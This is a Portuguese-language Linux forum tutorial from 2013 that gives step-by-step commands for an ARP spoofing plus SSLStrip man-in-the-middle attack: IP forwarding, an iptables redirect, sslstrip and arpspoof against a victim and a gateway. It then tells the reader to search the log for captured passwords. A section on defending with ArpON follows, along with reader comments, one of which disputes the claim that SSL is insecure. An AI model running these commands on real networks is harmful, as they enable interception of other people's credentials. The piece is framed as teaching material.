Entendendo o ataque ARP spoofing + SSLStrip

Neste artigo mostro como realizar um ataque SSLStrip para
mostrar que uma conexão utilizando SSL não é 100% segura. O
artigo é para fins didáticos e não para causar danos ou prejuízos a
terceiros. Espero que gostem.

[ Hits: 39.515 ]

Por: Rick em 02/01/2013 | Blog: http://www.guiadoti.com


Introdução



Veremos um pouco sobre o SSLStrip, descobriremos que o uso da conexão segura SSL não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros.

O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:
Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de sniffing tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas man-in-the-middle, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro.

Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2 para usar o SSLStrip e um Windows como alvo.

* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade.

Procedimentos

Primeiramente habilitaremos o encaminhamento de pacotes para realizar o ARP spoofing:

# echo "1" > /proc/sys/net/ipv4/ip_forward

Agora, vá até o diretório do SSLStrip no BackTrack:

# cd /pentest/web/sslstrip

Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080:

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo:

# python sslstrp.py -a -l 8080

Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway:

# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1

Em outro terminal:

# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55

Você pode acompanhar o tráfego dando:

# tail -f sslstrip.log

Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo.

Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros.

Como se proteger

O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como Man-in-the-middle, DHCP Spoofing, DNS Spoofing, Web Spoofing, Sequestro de sessão SSL, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela.

Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:
                 
     FIREWALL  / GATEWAY
                    |
                  SWITCH
                    |
        ---------------------------
        |           |             |
       HOST        HOST          HOST

Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor GNU/Linux que compartilha a Internet para a rede interna que será instalado o ArpON, e nele, iremos colocar todos os IPs e MACs dos nossos clientes.

Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho.

Bem, vamos colocar a mão na massa. Para instalar o ArpON:

# aptitude install arpon

Agora, edite o arquivo de configuração do ArpON:

# pico /etc/default/arpon

Descomente a linha:

DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -i eth1 -s"

Obs.: Repare que existe um parâmetro nessa linha (-i eth1) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é eth1, caso a de vocês seja eth0, não é necessário colocar este parâmetro.

E mude a linha:
RUN="no"

Para:

RUN="yes"

Agora precisamos cadastrar os IPs e MACs dos clientes:

# pico /etc/arpon.sarpi

Edite o arquivo da seguinte forma:

#IP              MAC
192.168.0.5          f5:f5:f5:f5:f5:f5

Obs.: Faça a identação com tabulações.

Agora é só iniciar o ArpON:

# /etc/init.d/arpon start

E acompanhar os logs:

# tail -f /var/log/arpon/arpon.log


Pessoal, é isso aí.

Espero que tenham curtido a dica e que a usem, pois isso evita muitos problemas futuros.

Até a próxima.

   

Páginas do artigo
   1. Introdução
Outros artigos deste autor

storage FreeNas 9.2.1.6 - Instalação e configuração

Samba PDC com Debian Squeeze

Syslog-NG - Configurando um servidor de logs

Redmine 2.1.4 no Debian Squeeze - Instalação e configuração

Monitoramento com Zabbix 2.0

Leitura recomendada

Hotspot rápido com Coovachilli

Entendendo as permissões no Linux

Tomcat + SSL: HOW-TO

ACCT - O contabilizador de processos do Linux

Administrando Linux via web (parte 1)

  
Comentários
[1] Comentário enviado por stremer em 03/01/2013 - 16:14h

Amigo, o artigo é bom, mas quando fala:
Veremos um pouco sobre o SSLStrip, descobriremos que o uso da conexão segura SSL não garante a proteção do usuário 100%.

Não concordo... o SSL é seguro sim e este tipo de técnica não quebra a criptografia, mas cria uma segunda conexão, não usando o certificado de segurança real. Basta ser um pouco esperto e ver que o certificado não é real e pronto... ou senão precisa ser infectado com algum trojan que instale esse certificado e não gere avisos de segurança...

[2] Comentário enviado por rick_G em 07/01/2013 - 19:57h

Amigo stremer reconheço que me expressei mal quando falei isso, peço desculpas pelo erro e que os demais desconsiderem esse comentário, mas acho que o artigo mostra a sua finalidade, e ainda a dica sobre o arpon, então ainda ta valendo...rsrs

[3] Comentário enviado por lordestark em 21/07/2016 - 21:34h

Obrigado! Mas pelomenos diga que foi tirado de um site né?

http://guiadoti.blogspot.com.br/2012/12/evitando-ataques-de-sniffing-com-arpon.html

[4] Comentário enviado por rick_G em 28/07/2016 - 23:33h

;)

[5] Comentário enviado por rick_G em 28/07/2016 - 23:34h


[3] Comentário enviado por lordestark em 21/07/2016 - 21:34h

Obrigado! Mas pelomenos diga que foi tirado de um site né?

http://guiadoti.blogspot.com.br/2012/12/evitando-ataques-de-sniffing-com-arpon.html



Caro lordestark, eu sou o autor do Guia do TI, por isso não vejo problema em por o conteúdo aqui!! ;)

[6] Comentário enviado por gabriel96 em 06/09/2017 - 14:58h

Galera ! preciso que alguém me ajuda.

fasso todo procedimento certo desde comfigurar o ettrcap.conf ate eniciar o snnifer no ettercap

Mas a questão eh, quando eu inicio o sniiff e vor no navegador ele não e redirecionado pra pagina que eu configurei lah no arquivo ettercap.dns, ele não vai para nehuma , so aparece que falando: FALHA NA CONXÃO SEGURA

alguem pode me ajudar oque ta epedindo ser redirecionado para pagina que desejo.

[7] Comentário enviado por AngeliAB em 13/02/2019 - 16:53h

Não entendi.. Se o objetivo é ler o tráfego HTTPS (443), o que adianta redirecionar o tráfego da porta 80?


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts